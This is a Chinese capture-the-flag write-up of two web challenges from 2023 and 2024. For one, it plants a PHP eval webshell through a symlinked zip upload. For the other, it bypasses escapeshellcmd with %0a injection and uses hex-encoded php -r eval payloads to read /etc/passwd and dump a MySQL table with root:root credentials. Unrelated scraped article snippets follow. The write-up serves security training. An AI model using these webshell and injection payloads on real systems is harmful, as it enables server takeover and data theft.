2023、2024国赛web复现wp
2023
Unzip
类型:任意文件上传漏洞
主要知识点:软链接
随便上传一个一句话木马文件,得到一串php代码

根据代码上传zip文件发现进入后还是此页面
代码审计:
<?php
error_reporting(0);
highlight_file(__FILE__);$finfo = finfo_open(FILEINFO_MIME_TYPE);
#创建一个新的文件资源用来确定文件的MIME类型
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
#上传的代码如果是MIME类型为application/zip的文件,将被解压到/tmp目录
#unzip -o:不必先询问用户,unzip执行后覆盖原有的文件;//only this!
上传的文件被解压到/tmp目录并且我们发现代码中没有include和require说明不能执行文件里的代码
扩展:
include:当使用Include指令包含文件时,如果文件不存在或者有语法错误,PHP将生成一个警告(Warning)级别的错误,并且脚本将继续执行。
require:require也是用于包含文件。但是,如果文件不存在或者有语法错误,PHP将生成一个致命错误(Fatal Error),并且脚本执行会立即停止。
因此要想执行文件的代码我们就不能将文件放入/tmp目录,此时就需要用到软链接将文件放入任意目录下从而执行文件中的一句话木马
软链接:
软链接(Symbolic Link),也称为符号链接,是包含了源文件位置信息的特殊文件,用Linux中的命令执行。它的作用是间接指向一个文件或目录,也就是为文件在另一个地方建立一个同步的链接。如果软链接的源文件被删除或移动了,软链接就打不开了。
优点:
- 软链接可以跨越不同的文件系统,因为它们只存储了路径信息,而不依赖于inode号。
- 软链接可以用于目录,因为它们不会导致目录结构的混乱和循环引用。
- 软链接可以反映原文件的变化,例如修改时间和权限等。
使用场景:
- 当需要为不同位置或不同文件系统的文件或目录创建快捷方式时,可以使用软链接。
- 当需要创建动态的文件或目录关联时,可以使用软链接。
- 当需要保留原文件的属性和变化时,可以使用软链接。
创建一个指向/var/www/html目录的软链接(html目录下是web环境)
ln -s /var/www/html/ link
#为/var/www/html目录创建一个软链接link

压缩软链接
zip --symlinks link1.zip link
#将软链接link压缩为link1.zip文件

创建一个link目录
rm link
#防止系统中有link目录,造成冲突
mkdir link
#创建link目录

进入link目录,放入一个一句话木马文件shell.php
退出link目录,将link目录里的文件和目录本身全部压缩为link2.zip

上面由于放在用户目录里比较不直观将其放在一个文件夹中(这一步没有实际作用仅展示创建结果,同时也是方便放到windows界面)

先传上link1.zip再传上link2.zip(一定要先1后2),然后访问shell.php发现成功执行一句话木马

因此我们将一句话木马改为<?php eval($_POST[shell]);?>

上传后

接下去用命令执行或者用蚁剑连接

得到flag

2024
simple_php

代码审计:
escapeshellcmd()函数会转义可能用于欺骗shell执行任意命令的任何字符。正则匹配绕过了一堆字符。POST请求传入了一个参数cmd进行system()命令的执行。
思路一:
尝试用%0a进行绕过
用bp抓包
l%0as /

发现绕过成功,但没发现疑似flag的文件,根据经验用户的必要信息一般会放在/etc/passwd中(可能会有flag)
补充:
/etc/passwd保存了所有用户的用于读取的必要信息,包括用户的①名称②登录口令情况③用户ID④所属组ID⑤用户的全称等其它详细信息⑥用户的home目录⑦用户的默认登录shell。
扩展:
在早期,加密的密码的确是存在/etc/passwd文件中的,后面为了安全性考虑。将加密的密码文件存在了/etc/shadow(影子口令文件)中了。
进入/etc/passwd查看
c%0aat /etc/passwd
发现还是没有flag但是发现了一个mysql用户,flag可能在数据库中

思路二:
直接用paste命令或rev命令
paste /etc/passwd
#paste命令可以将每个文件的行以列的形式加以合并并输出。
rev /etc/passwd
#rev命令可以将文件中的内容以逆序的方式显示出来。
根据经验会直接尝试查看/etc/passwd这个目录有没有泄露

查看数据库(数据库默认信息:账号:root —— 密码:root,管理员账号需要自定义。)
执行shell命令
php -r eval(echo `mysql -u root -p'root' -e 'show databases;'`;);
#php -r:在PHP中,-r命令行选项允许你直接从命令行执行PHP代码,而不需要将代码写入一个文件。
由于escapeshellcmd()函数会转义可能用于欺骗shell执行任意命令的任何字符所以我们将shell命令转化为hax值(用base64不可行)
构造payload:
php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f742720
2d65202773686f77206461746162617365733b27603b,1)));
#hex2bin():将16进制转化为ASCII

查看PHP_CMS数据库
echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;'`;
#use PHP_CMS:sql语句使用PHP_CMS数据库
构造payload:
cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f742720
2d652027757365205048505f434d533b73686f77207461626c65733b27603b,1)));

发现可能有flag的表,查看F1ag_Se3Re7
echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;select * from F1ag_Se3Re7;'`;
构造payload:
cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f742720
2d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a20
66726f6d20463161675f5365335265373b27603b,1)));

相关文章:
2023、2024国赛web复现wp
2023 Unzip 类型:任意文件上传漏洞 主要知识点:软链接 随便上传一个一句话木马文件,得到一串php代码 根据代码上传zip文件发现进入后还是此页面 代码审计: <?php error_reporting(0); highlight_file(__FILE__);$finfo fin…...
day34 贪心算法 455.分发饼干 376. 摆动序列
贪心算法理论基础 贪心的本质是选择每一阶段的局部最优,从而达到全局最优。 贪心一般解题步骤(贪心无套路): 将问题分解为若干个子问题找出适合的贪心策略求解每一个子问题的最优解将局部最优解堆叠成全局最优解 455.分发饼干 …...
养老院管理系统基于springboot的养老院管理系统java项目
文章目录 养老院管理系统一、项目演示二、项目介绍三、系统部分功能截图四、部分代码展示五、底部获取项目源码(9.9¥带走) 养老院管理系统 一、项目演示 养老院管理系统 二、项目介绍 基于springboot的养老院管理系统 角色:超级…...
跳台阶扩展问题
题目链接 f(1) 1f(2) 1 1 2f(3) 1 2 1 4f(4) 1 2 4 1 8 所以 f(n) 2 n − 1 ^{n-1} n−1 import java.util.Scanner;public class Solution {public int jumpFloorII(int target) {return 1 << (target - 1);} }...
超清高帧,成像升级 | SWIR短波红外相机500万像素992芯片
博图光电5MP短波红外相机,搭载了索尼IMX992 SenSWIR传感器,支持5.2MP分辨率,适合探测波长在400nm-1700nm波段的可见光和短波红外光,有效面积和透光率得到提升,内置TEC制冷片,实现了像素尺寸和图像均匀性方面…...
攻击渗透思考题
1. windows登录的明文密码,存储过程是怎么样的,密文存在哪个文件下,该文件是否可以打开,并且查看到密文 在Windows操作系统中,登录时输入的明文密码不会以明文形式存储在系统中。相反,Windows使用一种称为“…...
Flutter 中的 Opacity 小部件:全面指南
Flutter 中的 Opacity 小部件:全面指南 在Flutter中,动画和视觉效果是提升用户体验的重要手段。Opacity小部件允许你改变子组件的透明度,从而实现淡入、淡出或其它透明度相关的动画效果。本文将提供Opacity的全面指南,帮助你了解…...
【介绍下如何在SQL中添加数据】
🎥博主:程序员不想YY啊 💫CSDN优质创作者,CSDN实力新星,CSDN博客专家 🤗点赞🎈收藏⭐再看💫养成习惯 ✨希望本文对您有所裨益,如有不足之处,欢迎在评论区提出…...
【Linux学习】深入了解Linux中进程状态及其转换
文章目录 进程状态进程排队进程的状态(运行,阻塞,挂起)进程的七个状态 孤儿进程 进程状态 进程 task_struct 可执行程序 进程不是一 直在运行的,可能在等待软硬件资源,比如scanf后,程序停止运…...
【Python设计模式11】建造者模式
建造者模式(Builder Pattern)是一种创建型设计模式,它将一个复杂对象的构建过程分离出来,使得同样的构建过程可以创建不同的表示。建造者模式通过使用多个简单的对象一步一步构建成一个复杂的对象。 建造者模式的结构 建造者模式…...
coredump文件生成配置
1.打开coredump文件生成开关 查看开关是否打开:ulimit -a 如果core file size 为0,则为关闭。 执行:ulimit -c 10240 将其coredump文件大小设置。 2.coredump文件保存位置: /proc/sys/kernel/core_pattern文件可以控制core文…...
jmeter线程组(下篇)
线程组 线程组作为JMeter测试计划的核心组件之一,对于模拟并发用户的行为至关重要。线程组元件是整个测试计划的入口,所有的取样器和控制器必须放置在线程组下。 可以将线程组视为一个虚拟用户池,其中每个线程可被理解为一个虚拟用户&#x…...
Stable Diffusion【写实模型】:逼真,逼真,超级逼真的国产超写实摄影大模型万享XL
今天和大家分享的是一个国产万享系列中使用量最高的大模型:万享XL_超写实摄影,顾名思义,该大模型主要是面向写实摄影,一方面生成的图片人物皮肤纹理细节超级逼真,另一方面对于光影效果的处理也非常到位。对于万享XL超写实摄影大模…...
Android 13 配置默认DN
需求: 如果存在用户配置的DNS服务器,则切面拦截运行商下发的DNS,替换为用户自己配置的DNS. 实现: 直接上代码: 1:TelephonyProperties 内新增属性保存用户设置的dns //QSSI.13/frameworks/base/telephony/java/com/android/in…...
系统开发与运行知识
系统开发与运行知识 导航 文章目录 系统开发与运行知识导航一、软件工程二、软件生命周期三、开发模型四、开发方法五、需求分析结构化分析 六、数据流图分层数据流图的画法设计注意事项 七、数据字典数据字典的内容 八、系统设计九、结构化设计常用工具十、面向对象十一、UML…...
算法训练 | 二叉树Part1 | 递归遍历、迭代遍历、统一迭代
目录 递归遍历 前序遍历 迭代遍历 前序遍历(迭代法) 中序遍历(迭代法) 后序遍历(迭代法) 统一迭代法 统一迭代 嵌入式学习分享个人主页:Orion嵌入式随想录 - 小红书 (xiaohongshu.com) …...
AcWing 2568:树链剖分 ← 线段树+DFS
【题目来源】https://www.acwing.com/problem/content/2570/【题目描述】 给定一棵树,树中包含 n 个节点(编号 1∼n),其中第 i 个节点的权值为 ai。 初始时,1 号节点为树的根节点。 现在要对该树进行 m 次操作…...
PCIe协议之-DLLP详解
✨前言: 🌟数据链路层的功能 数据链路层将从物理层中获得报文, 并将其传递给事务层; 同时接收事务层的报文, 并将其转发到物理层; 核心的功能有以下三点 1.保证TLP在 PCIe 链路中的正确传递; 2.数据链路层使用了容错…...
Jmeter+prometheus+grafana性能测试
文章目录 Jmeterprometheusgrafana性能测试背景目标设计思路原理案例启发 Jmeterprometheusgrafana性能测试 背景 在现代社会中,人们对于应用程序的响应速度和性能体验提出了越来越高的要求。无论是电子商务网站、社交媒体平台还是企业级软件系统,都…...
Hololens 2 新建自定义按钮
官方链接地址 1、创建Cube 2、添加PressableButton脚本,并点击AddNearin… 3、把Cube拖入到MovingButtonVisuals变量中 4、点击NearInteractionTouchable组件(这个组件是添加和上一个脚本绑定的,自动添加上来的)上的Fix… 5、…...
stm32G473的flash模式是单bank还是双bank?
今天突然有人stm32G473的flash模式是单bank还是双bank?由于时间太久,我真忘记了。搜搜发现,还真有人和我一样。见下面的链接:https://shequ.stmicroelectronics.cn/forum.php?modviewthread&tid644563 根据STM32G4系列参考手…...
【Java学习笔记】Arrays类
Arrays 类 1. 导入包:import java.util.Arrays 2. 常用方法一览表 方法描述Arrays.toString()返回数组的字符串形式Arrays.sort()排序(自然排序和定制排序)Arrays.binarySearch()通过二分搜索法进行查找(前提:数组是…...
【入坑系列】TiDB 强制索引在不同库下不生效问题
文章目录 背景SQL 优化情况线上SQL运行情况分析怀疑1:执行计划绑定问题?尝试:SHOW WARNINGS 查看警告探索 TiDB 的 USE_INDEX 写法Hint 不生效问题排查解决参考背景 项目中使用 TiDB 数据库,并对 SQL 进行优化了,添加了强制索引。 UAT 环境已经生效,但 PROD 环境强制索…...
Java - Mysql数据类型对应
Mysql数据类型java数据类型备注整型INT/INTEGERint / java.lang.Integer–BIGINTlong/java.lang.Long–––浮点型FLOATfloat/java.lang.FloatDOUBLEdouble/java.lang.Double–DECIMAL/NUMERICjava.math.BigDecimal字符串型CHARjava.lang.String固定长度字符串VARCHARjava.lang…...
什么是库存周转?如何用进销存系统提高库存周转率?
你可能听说过这样一句话: “利润不是赚出来的,是管出来的。” 尤其是在制造业、批发零售、电商这类“货堆成山”的行业,很多企业看着销售不错,账上却没钱、利润也不见了,一翻库存才发现: 一堆卖不动的旧货…...
el-switch文字内置
el-switch文字内置 效果 vue <div style"color:#ffffff;font-size:14px;float:left;margin-bottom:5px;margin-right:5px;">自动加载</div> <el-switch v-model"value" active-color"#3E99FB" inactive-color"#DCDFE6"…...
ffmpeg(四):滤镜命令
FFmpeg 的滤镜命令是用于音视频处理中的强大工具,可以完成剪裁、缩放、加水印、调色、合成、旋转、模糊、叠加字幕等复杂的操作。其核心语法格式一般如下: ffmpeg -i input.mp4 -vf "滤镜参数" output.mp4或者带音频滤镜: ffmpeg…...
稳定币的深度剖析与展望
一、引言 在当今数字化浪潮席卷全球的时代,加密货币作为一种新兴的金融现象,正以前所未有的速度改变着我们对传统货币和金融体系的认知。然而,加密货币市场的高度波动性却成为了其广泛应用和普及的一大障碍。在这样的背景下,稳定…...
Fabric V2.5 通用溯源系统——增加图片上传与下载功能
fabric-trace项目在发布一年后,部署量已突破1000次,为支持更多场景,现新增支持图片信息上链,本文对图片上传、下载功能代码进行梳理,包含智能合约、后端、前端部分。 一、智能合约修改 为了增加图片信息上链溯源,需要对底层数据结构进行修改,在此对智能合约中的农产品数…...
省略号和可变参数模板
本文主要介绍如何展开可变参数的参数包 1.C语言的va_list展开可变参数 #include <iostream> #include <cstdarg>void printNumbers(int count, ...) {// 声明va_list类型的变量va_list args;// 使用va_start将可变参数写入变量argsva_start(args, count);for (in…...
